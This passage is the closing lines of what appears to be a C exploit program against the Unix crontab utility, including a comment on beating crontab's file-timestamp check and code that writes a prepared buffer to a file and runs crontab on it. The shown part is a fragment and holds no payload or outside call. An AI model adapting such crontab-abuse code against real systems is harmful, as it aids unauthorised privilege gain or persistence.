  7497.  * The sleep is required because as soon as crontab opens the tmp file it
  7498.  * stat's and saves it.  After the EDITOR program exists it stats again
  7499.  * and if they are equal then it assumes changes weren't made and exits.
  7500.  */
  7501.    fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
  7502.    write (fd, buff, strlen(buff));
  7503.  
  7504.    close(fd);
  7505.  
  7506.    execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL); 
  7507.    /* Successful completion */
  7508.    exit(0);
  7509. }
  7510. ----------- cut here
  7511.